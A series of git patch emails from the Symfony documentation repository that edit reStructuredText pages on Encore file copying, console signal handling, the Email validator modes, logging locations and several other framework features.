 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index 6601260ba7f..abe1d554fc0 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -63,11 +63,11 @@ To render inside Twig, use the ``asset()`` function:
 
 .. code-block:: html+twig
 
-    {# assets/images/logo.png was copied to public/build/logo.png #}
-    <img src="{{ asset('build/logo.png') }}" alt="ACME logo">
+    {# assets/images/logo.png was copied to public/build/images/logo.png #}
+    <img src="{{ asset('build/images/logo.png') }}" alt="ACME logo">
 
-    {# assets/images/subdir/logo.png was copied to public/build/subdir/logo.png #}
-    <img src="{{ asset('build/subdir/logo.png') }}" alt="ACME logo">
+    {# assets/images/subdir/logo.png was copied to public/build/images/subdir/logo.png #}
+    <img src="{{ asset('build/images/subdir/logo.png') }}" alt="ACME logo">
 
 Make sure you've enabled the :ref:`json_manifest_path <load-manifest-files>` option,
 which tells the ``asset()`` function to read the final paths from the ``manifest.json``

From 9e30c2883345f25d3cb35b75b0a77cb5deff1bde Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 16:16:17 +0200
Subject: [PATCH 1164/5766] Minor tweak

---
 frontend/encore/copy-files.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index abe1d554fc0..1b3175a1480 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -42,7 +42,7 @@ files into your final output directory. First enable it in ``webpack.config.js``
     +         from: './assets/images',
     +
     +         // optional target path, relative to the output dir
-    +         //to: 'images/[path][name].[ext]',
+    +         to: 'images/[path][name].[ext]',
     +
     +         // if versioning is enabled, add the file hash too
     +         //to: 'images/[path][name].[hash:8].[ext]',
@@ -55,8 +55,8 @@ Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
 Encore, you're done!
 
-This will copy all files from ``assets/images`` into ``public/build`` (the output
-path). If you have :doc:`versioning enabled <versioning>`, the copied files will
+This will copy all files from ``assets/images`` into ``public/build/images``.
+If you have :doc:`versioning enabled <versioning>`, the copied files will
 include a hash based on their content.
 
 To render inside Twig, use the ``asset()`` function:

From bbb1d8d5e48ef58e8efc8f59f27c54f2c6eb7e24 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Sun, 15 Aug 2021 14:41:03 +0200
Subject: [PATCH 1165/5766] [Console] Add docs for ConsoleSignalEvent

---
 components/console/events.rst | 31 +++++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/components/console/events.rst b/components/console/events.rst
index 7183c2e75f7..46a35741c2d 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -153,5 +153,36 @@ Listeners receive a
     This event is also dispatched when an exception is thrown by the command.
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
+    
+
+The ``ConsoleEvents::SIGNAL`` Event
+-----------------------------------
+
+**Typical Purposes**: To perform some actions after the command execution was interrupted.
+
+After the command has been interrupted, the ``ConsoleEvents::SIGNAL`` event is
+dispatched. It can be used to do any actions
+(to log or profile commands / to perform some cleanup tasks when quitting a command).
+
+Listeners receive a
+:class:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent` event::
+
+    use Symfony\Component\Console\ConsoleEvents;
+    use Symfony\Component\Console\Event\ConsoleSignalEvent;
+
+    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
+       
+        // gets the signal number
+        $signal = $event->getHandlingSignal();
+        
+        if (\SIGINT === $signal) {
+            echo "bye bye!";
+        }
+    });
+
+.. versionadded:: 5.2
+
+    The ``ConsoleSignalEvent`` class was introduced in Symfony 5.2.
+
 
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html

From 915bf4915a72f86c4d0f6100fb7840f624d04a11 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 16:47:48 +0200
Subject: [PATCH 1166/5766] Rewords and tweaks

---
 components/console/events.rst | 52 +++++++++++++++++++++++++++++++----
 1 file changed, 46 insertions(+), 6 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 46a35741c2d..6b7078b2c11 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -153,16 +153,19 @@ Listeners receive a
     This event is also dispatched when an exception is thrown by the command.
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
-    
 
 The ``ConsoleEvents::SIGNAL`` Event
 -----------------------------------
 
 **Typical Purposes**: To perform some actions after the command execution was interrupted.
 
-After the command has been interrupted, the ``ConsoleEvents::SIGNAL`` event is
-dispatched. It can be used to do any actions
-(to log or profile commands / to perform some cleanup tasks when quitting a command).
+`Signals`_ are asynchronous notifications sent to a process in order to notify
+it of an event that occurred. For example, when you press ``Ctrl + C`` in a
+command, the operating system sends the ``SIGINT`` signal to it.
+
+When a command is interrupted, Symfony dispatches the ``ConsoleEvents::SIGNAL``
+event. Listen to this event so you can perform some actions (e.g. logging some
+results, cleaning some temporary files, etc.) before finishing the command execution.
 
 Listeners receive a
 :class:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent` event::
@@ -180,9 +183,46 @@ Listeners receive a
         }
     });
 
-.. versionadded:: 5.2
+.. tip::
+
+    All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
+    `constants of the PCNTL PHP extension`_.
+
+If you use the Console component inside a Symfony application, commands can
+handle signals themselves. To do so, implement the
+``SignalableCommandInterface`` and subscribe to one or more signals::
+
+    // src/Command/SomeCommand.php
+    namespace App\Command;
+
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Command\SignalableCommandInterface;
 
-    The ``ConsoleSignalEvent`` class was introduced in Symfony 5.2.
+    class SomeCommand extends Command implements SignalableCommandInterface
+    {
+        // ...
+
+        public function getSubscribedSignals(): array
+        {
+            // return here any of the constants defined by PCNTL extension
+            return [\SIGINT, \SIGTERM];
+        }
+
+        public function handleSignal(int $signal)
+        {
+            if (\SIGINT === $signal) {
+                // ...
+            }
+
+            // ...
+        }
+    }
+
+.. versionadded:: 5.2
 
+    The ``ConsoleSignalEvent`` and ``SignalableCommandInterface`` classes were
+    introduced in Symfony 5.2.
 
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
+.. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
+.. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php

From 57e44d286115b2932f616a0be9ed9d9a79f097ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 16:48:38 +0200
Subject: [PATCH 1167/5766] Remove a versionadded directive

---
 components/console/events.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 6b7078b2c11..a4bdcdfb5b9 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -218,11 +218,6 @@ handle signals themselves. To do so, implement the
         }
     }
 
-.. versionadded:: 5.2
-
-    The ``ConsoleSignalEvent`` and ``SignalableCommandInterface`` classes were
-    introduced in Symfony 5.2.
-
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php

From 0386c9b130ddf6507dfc894768cf1ad24ff0f6f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 19:51:29 +0200
Subject: [PATCH 1168/5766] Remove the "experimental" flag from some components

---
 configuration.rst       | 3 +--
 rate_limiter.rst        | 3 +--
 security/login_link.rst | 3 +--
 translation.rst         | 3 +--
 4 files changed, 4 insertions(+), 8 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index c2c89d73a09..0638da13bb4 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -928,8 +928,7 @@ Using PHP ConfigBuilders
 
 .. versionadded:: 5.3
 
-    The "ConfigBuilders" feature was introduced in Symfony 5.3 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The "ConfigBuilders" feature was introduced in Symfony 5.3.
 
 Writing PHP config is sometimes difficult because you end up with large nested
 arrays and you have no autocompletion help from your favorite IDE. A way to
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4f2d20b2b18..1d144085d92 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -3,8 +3,7 @@ Rate Limiter
 
 .. versionadded:: 5.2
 
-    The RateLimiter component was introduced in Symfony 5.2 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The RateLimiter component was introduced in Symfony 5.2.
 
 A "rate limiter" controls how frequently some event (e.g. an HTTP request or a
 login attempt) is allowed to happen. Rate limiting is commonly used as a
diff --git a/security/login_link.rst b/security/login_link.rst
index 1e1641304a3..ec2fa554344 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -14,8 +14,7 @@ This authentication method can help you eliminate most of the customer support
 related to authentication (e.g. I forgot my password, how can I change or reset
 my password, etc.)
 
-Login links are supported by Symfony when using the experimental
-authenticator system. You must
+Login links are supported by Symfony when using the authenticator system. You must
 :ref:`enable the authenticator system <security-enable-authenticator-manager>`
 in your configuration to use this feature.
 
diff --git a/translation.rst b/translation.rst
index 3026da62ff8..83e95f8dda4 100644
--- a/translation.rst
+++ b/translation.rst
@@ -614,8 +614,7 @@ Translation Providers
 
 .. versionadded:: 5.3
 
-    Translation providers were introduced in Symfony 5.3 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    Translation providers were introduced in Symfony 5.3.
 
 When using external translators to translate your application, you must send
 them the new contents to translate frequently and merge the results back in the

From 279af5c43f5fe978727838d350ea770c0b5ad148 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 23 Sep 2021 20:44:44 +0200
Subject: [PATCH 1169/5766] [Twig] Fix global variable name in XML config

In the XML example, the global variable is named "foo" instead of "uuid".
---
 templating/global_variables.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index ab770657531..bd8342fed8e 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -92,7 +92,7 @@ the ``@`` character, which is the usual syntax to
 
             <twig:config>
                 <!-- ... -->
-                <twig:global key="foo" id="App\Generator\UuidGenerator" type="service"/>
+                <twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
             </twig:config>
         </container>
 

From cc062a992bb40eba8c07d7d173f539c393610642 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 12:20:24 +0200
Subject: [PATCH 1170/5766] [DomCrawler] Document innerText() method

---
 components/dom_crawler.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 8df1b8c8f67..170127b839f 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -230,6 +230,16 @@ Access the value of the first node of the current selection::
     // pass FALSE as the second argument to return the original text unchanged
     $crawler->filterXPath('//body/p')->text('Default text content', false);
 
+    // innerText() is similar to text() but returns only the text that is
+    // the direct descendent of the current node, excluding any child nodes
+    $text = $crawler->filterXPath('//body/p')->innerText();
+    // if content is <p>Foo <span>Bar</span></p>
+    // innerText() returns 'Foo' and text() returns 'Foo Bar'
+
+.. versionadded:: 5.4
+
+    The ``innerText()`` method was introduced in Symfony 5.4.
+
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');

From af5c57a1f2693bb7615301a8ea32b1e4d9a15ef7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 13:20:32 +0200
Subject: [PATCH 1171/5766] [Console] Remove some unneeded imports

---
 components/console/helpers/questionhelper.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 9d571e524c3..0d687ceeeb4 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -448,8 +448,6 @@ Testing a Command that Expects Input
 If you want to write a unit test for a command which expects some kind of input
 from the command line, you need to set the inputs that the command expects::
 
-    use Symfony\Component\Console\Helper\HelperSet;
-    use Symfony\Component\Console\Helper\QuestionHelper;
     use Symfony\Component\Console\Tester\CommandTester;
 
     // ...

From 1577c2dd610e719e97a41081ad1b03efc1deb8c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 15:36:59 +0200
Subject: [PATCH 1172/5766] [Mailer] Remove some duplicated contents

---
 reference/configuration/framework.rst | 17 +++---------
 reference/constraints/Email.rst       | 38 +++++++++++----------------
 2 files changed, 20 insertions(+), 35 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b13b1f70506..43d9122328c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2710,22 +2710,15 @@ metadata of the class. You can define an array of strings with the names of
 several methods. In that case, all of them will be called in that order to load
 the metadata.
 
+.. _reference-validation-email_validation_mode:
+
 email_validation_mode
 .....................
 
 **type**: ``string`` **default**: ``loose``
 
-Sets the default value for
-:doc:`/reference/constraints/Email` validator. The possible values are:
-
-* ``loose``, it uses a simple regular expression to validate the address (it
-  checks that at least one ``@`` character is present, etc.). This validation is
-  too simple and it's recommended to use the ``html5`` validation instead;
-* ``html5``, it validates email addresses using the same regular expression
-  defined in the HTML5 standard, making the backend validation consistent with
-  the one provided by browsers;
-* ``strict``, it uses the `egulias/email-validator`_ library (which you must
-  install separately) to validate the addresses according to the `RFC 5322`_.
+Sets the default value for the
+:ref:`mode option of the Email validator <reference-constraint-email-mode>`.
 
 .. _reference-validation-mapping:
 
@@ -3619,8 +3612,6 @@ to know their differences.
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html
-.. _`egulias/email-validator`: https://github.com/egulias/EmailValidator
-.. _`RFC 5322`: https://tools.ietf.org/html/rfc5322
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler
 .. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index ba09d82418d..b2a978d4af5 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -123,34 +123,28 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
+.. _reference-constraint-email-mode:
+
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: ``loose``
-
-This option is optional and defines the pattern the email address is validated against.
-Valid values are:
-
-* ``loose``
-* ``strict``
-* ``html5``
-
-``loose``
-.........
-
-A simple regular expression. Allows all values with an "@" symbol in, and a "."
-in the second host part of the email address.
-
-``strict``
-..........
+**type**: ``string`` **default**: (see below)
 
-Uses the `egulias/email-validator`_ library to perform an RFC compliant
-validation. You will need to install that library to use this mode.
+This option is optional and defines the pattern used to validate the email
+address. Valid values are:
 
-``html5``
-.........
+* ``loose``, it uses a simple regular expression to validate the address (it
+  checks that at least one ``@`` character is present, etc.). This validation is
+  too simple and it's recommended to use the ``html5`` validation instead;
+* ``html5``, it validates email addresses using the same regular expression
+  as the `HTML5 email input element`_, making the backend validation consistent
+  with the one provided by browsers;
+* ``strict``, it uses the `egulias/email-validator`_ library (which you must
+  install separately) to validate the addresses according to the `RFC 5322`_.
 
-This matches the pattern used for the `HTML5 email input element`_.
+The default value used by this option is set in the
+:ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
+configuration option.
 
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 

From b80bdbd4ba531870de7b9aaa3abcdb5057c18d3f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 15:52:39 +0200
Subject: [PATCH 1173/5766] Rewords and tweaks

---
 console.rst | 24 +++++++++++++++++-------
 1 file changed, 17 insertions(+), 7 deletions(-)

diff --git a/console.rst b/console.rst
index 403d3197a2f..b02ced9a284 100644
--- a/console.rst
+++ b/console.rst
@@ -80,26 +80,36 @@ You can optionally define a description, help message and the
 :doc:`input options and arguments </console/input>`::
 
     // ...
-    // the short description shown while running "php bin/console list"
+    // the command description shown when running "php bin/console list"
     protected static $defaultDescription = 'Creates a new user.';
 
     // ...
     protected function configure(): void
     {
         $this
-            ->setDescription(self::$defaultDescription)
+            // If you don't like using the $defaultDescription static property,
+            // you can also define the short description using this method:
+            // ->setDescription('...')
 
-            // the full command description shown when running the command with
-            // the "--help" option
+            // the command help shown when running the command with the "--help" option
             ->setHelp('This command allows you to create a user...')
         ;
     }
 
+Defining the ``$defaultDescription`` static property instead of using the
+``setDescription()`` method allows to get the command description without
+instantiating its class. This makes the ``php bin/console list`` command run
+much faster.
+
+If you want to always run the ``list`` command fast, add the ``--short`` option
+to it (``php bin/console list --short``). This will avoid instantiating command
+classes, but it won't show any description for commands that use the
+``setDescription()`` method instead of the static property.
+
 .. versionadded:: 5.3
 
-    The ``$defaultDescription`` static property was introduced in Symfony 5.3.
-    It allows to make the ``php bin/console list`` lazy.
-    You can as well use ``php bin/console list --short`` option to have the output faster.
+    The ``$defaultDescription`` static property and the ``--short`` option
+    were introduced in Symfony 5.3.
 
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties

From 4f1a38ecc49acebeec510c811c8f32f7c29e0b55 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 16:08:56 +0200
Subject: [PATCH 1174/5766] [DependencyInjection] Minor improvement of service
 tag description

---
 service_container/tags.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7b303229cdb..94d7d2036b3 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -598,9 +598,9 @@ application handlers::
 Tagged Services with Priority
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The tagged services can be prioritized using the ``priority`` attribute.
-The priority is a positive or negative integer. The higher the number,
-the earlier the tagged service will be located in the collection:
+The tagged services can be prioritized using the ``priority`` attribute. The
+priority is a positive or negative integer that defaults to ``0``. The higher
+the number, the earlier the tagged service will be located in the collection:
 
 .. configuration-block::
 

From e7057c6abcca963e33c7db2501b10e57f73a5eb9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 17:00:56 +0200
Subject: [PATCH 1175/5766] [Logger] Update the location of prod logs

---
 logging.rst | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/logging.rst b/logging.rst
index e02f860c657..9e959eaa08f 100644
--- a/logging.rst
+++ b/logging.rst
@@ -64,13 +64,15 @@ The following sections assume that Monolog is installed.
 Where Logs are Stored
 ---------------------
 
-By default, log entries are written to the ``var/log/dev.log`` file when you're in
-the ``dev`` environment. In the ``prod`` environment, logs are written to ``var/log/prod.log``,
-but *only* during a request where an error or high-priority log entry was made
-(i.e. ``error()`` , ``critical()``, ``alert()`` or ``emergency()``).
+By default, log entries are written to the ``var/log/dev.log`` file when you're
+in the ``dev`` environment.
 
-To control this, you'll configure different *handlers* that handle log entries, sometimes
-modify them, and ultimately store them.
+In the ``prod`` environment, logs are written to `STDERR PHP stream`_, which
+works best in modern containerized applications deployed to servers without
+disk write permissions.
+
+If you prefer to store production logs in a file, set the ``path`` of your
+log handler(s) to the path of the file to use (e.g. ``var/log/prod.log``).
 
 Handlers: Writing Logs to different Locations
 ---------------------------------------------
@@ -384,3 +386,4 @@ Learn more
 .. _LoggerInterface: https://github.com/php-fig/log/blob/master/Psr/Log/LoggerInterface.php
 .. _`logrotate`: https://github.com/logrotate/logrotate
 .. _`Monolog Configuration`: https://github.com/symfony/monolog-bundle/blob/master/DependencyInjection/Configuration.php#L25
+.. _`STDERR PHP stream`: https://www.php.net/manual/en/features.commandline.io-streams.php

From a60b4342c6d14249279aa4fc00a4d28955cc67e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 17:19:50 +0200
Subject: [PATCH 1176/5766] Remove a versionadded directive

---
 console.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/console.rst b/console.rst
index 609ecfbc14c..1918cb015ee 100644
--- a/console.rst
+++ b/console.rst
@@ -97,11 +97,6 @@ to it (``php bin/console list --short``). This will avoid instantiating command
 classes, but it won't show any description for commands that use the
 ``setDescription()`` method instead of the static property.
 
-.. versionadded:: 5.3
-
-    The ``$defaultDescription`` static property and the ``--short`` option
-    were introduced in Symfony 5.3.
-
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties

From c9c895c7be822817679ced81d5f5b54d6ece5925 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 20:01:58 +0200
Subject: [PATCH 1177/5766] Remove a versionadded directive

---
 components/dom_crawler.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 9d08c2b2276..0fb1767b88b 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -232,10 +232,6 @@ Access the value of the first node of the current selection::
     // if content is <p>Foo <span>Bar</span></p>
     // innerText() returns 'Foo' and text() returns 'Foo Bar'
 
-.. versionadded:: 5.4
-
-    The ``innerText()`` method was introduced in Symfony 5.4.
-
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');

From fcf41a082d21bdfff550a8bbfdee88aafa548756 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 13:26:10 +0200
Subject: [PATCH 1178/5766] [HttpFoundation] Document the removal of array
 support in get()

---
 components/http_foundation.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 9fa9ab6e33c..3df8d5c9c94 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -163,20 +163,25 @@ exist::
     // returns 'baz'
 
 When PHP imports the request query, it handles request parameters like
-``foo[bar]=baz`` in a special way as it creates an array. So you can get the
-``foo`` parameter and you will get back an array with a ``bar`` element::
+``foo[bar]=baz`` in a special way as it creates an array. The ``get()`` method
+doesn't support returning arrays, so you need to use the following code::
 
     // the query string is '?foo[bar]=baz'
 
-    $request->query->get('foo');
+    // don't use $request->query->get('foo'); use the following instead:
+    $request->query->all()['foo'];
     // returns ['bar' => 'baz']
 
     $request->query->get('foo[bar]');
     // returns null
 
-    $request->query->get('foo')['bar'];
+    $request->query->all()['foo']['bar'];
     // returns 'baz'
 
+.. deprecated:: 5.1
+
+    The array support in ``get()`` method was deprecated in Symfony 5.1.
+
 .. _component-foundation-attributes:
 
 Thanks to the public ``attributes`` property, you can store additional data

From e559f236cdd8928258d10bbc6d4cbe4951d217dd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 25 Sep 2021 10:46:34 +0200
Subject: [PATCH 1179/5766] Remove a deprecated directive

---
 components/http_foundation.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 216c666970d..aff9a735897 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -178,10 +178,6 @@ doesn't support returning arrays, so you need to use the following code::
     $request->query->all()['foo']['bar'];
     // returns 'baz'
 
-.. deprecated:: 5.1
-
-    The array support in ``get()`` method was deprecated in Symfony 5.1.
-
 .. _component-foundation-attributes:
 
 Thanks to the public ``attributes`` property, you can store additional data

From 7653381a043ca66f9190c461cf70a28c2f836f26 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 25 Sep 2021 16:13:20 +0200
Subject: [PATCH 1180/5766] Adding missing link target

And changing recommendation for html5; see https://github.com/symfony/symfony/issues/41855
---
 reference/constraints/Email.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index b2a978d4af5..2835b9f2317 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,7 +135,7 @@ address. Valid values are:
 
 * ``loose``, it uses a simple regular expression to validate the address (it
   checks that at least one ``@`` character is present, etc.). This validation is
-  too simple and it's recommended to use the ``html5`` validation instead;
+  very simple and it's recommended to use one of the other methods instead;
 * ``html5``, it validates email addresses using the same regular expression
   as the `HTML5 email input element`_, making the backend validation consistent
   with the one provided by browsers;
@@ -152,3 +152,4 @@ configuration option.
 
 .. _egulias/email-validator: https://packagist.org/packages/egulias/email-validator
 .. _HTML5 email input element: https://www.w3.org/TR/html5/sec-forms.html#valid-e-mail-address
+.. _RFC 5322: https://tools.ietf.org/html/rfc5322

From 585e2a97ed6bfdbc6b2e2bf0b7229c6524ad061f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 25 Sep 2021 16:15:38 +0200
Subject: [PATCH 1181/5766] Formatting

Are backticks allowed here?
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 43d9122328c..e5a9e376b55 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2718,7 +2718,7 @@ email_validation_mode
 **type**: ``string`` **default**: ``loose``
 
 Sets the default value for the
-:ref:`mode option of the Email validator <reference-constraint-email-mode>`.
+:ref:``mode` option of the Email validator <reference-constraint-email-mode>`.
 
 .. _reference-validation-mapping:
 

From 9dbf032a0220d9cf4c1d379ce258140b53339512 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 25 Sep 2021 18:05:42 +0200
Subject: [PATCH 1182/5766] Tweak

---
 reference/constraints/Email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 2835b9f2317..771c9bcff64 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,7 +135,7 @@ address. Valid values are:
 
 * ``loose``, it uses a simple regular expression to validate the address (it
   checks that at least one ``@`` character is present, etc.). This validation is
-  very simple and it's recommended to use one of the other methods instead;
+  too simple and it's recommended to use one of the other modes instead;
 * ``html5``, it validates email addresses using the same regular expression
   as the `HTML5 email input element`_, making the backend validation consistent
   with the one provided by browsers;

From c2459b0eddc71b23b118596a2295e8f37b506623 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 25 Sep 2021 18:08:26 +0200
Subject: [PATCH 1183/5766] Tweak

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e5a9e376b55..ee1a4bf0cec 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2718,7 +2718,7 @@ email_validation_mode
 **type**: ``string`` **default**: ``loose``
 
 Sets the default value for the
-:ref:``mode` option of the Email validator <reference-constraint-email-mode>`.
+:ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
 
 .. _reference-validation-mapping:
 

From d81962431d36669899480cf6e12e23e15327ddb3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Mon, 27 Sep 2021 15:05:27 +0200
Subject: [PATCH 1184/5766] [Runtime] Possibility to define the env and/or
 debug key

---
 components/runtime.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index e716ec6eb38..bc1d891915c 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -351,6 +351,14 @@ these options:
     knows how to deal with each of them.
 ``error_handler`` (default: :class:`Symfony\\Component\\Runtime\\Internal\\BasicErrorHandler` or :class:`Symfony\\Component\\Runtime\\Internal\\SymfonyErrorHandler` for ``SymfonyRuntime``)
     Defines the class to use to handle PHP errors.
+``env_var_name`` (default: ``"APP_ENV"``)
+    To define the name of the env var for the Symfony env.
+``debug_var_name`` (default: ``"APP_DEBUG"``)
+    To define the name of the debug var for the debug flag.
+
+.. versionadded:: 5.4
+
+    The ``env_var_name`` and ``debug_var_name`` options was introduced in Symfony 5.4.
 
 Create Your Own Runtime
 -----------------------

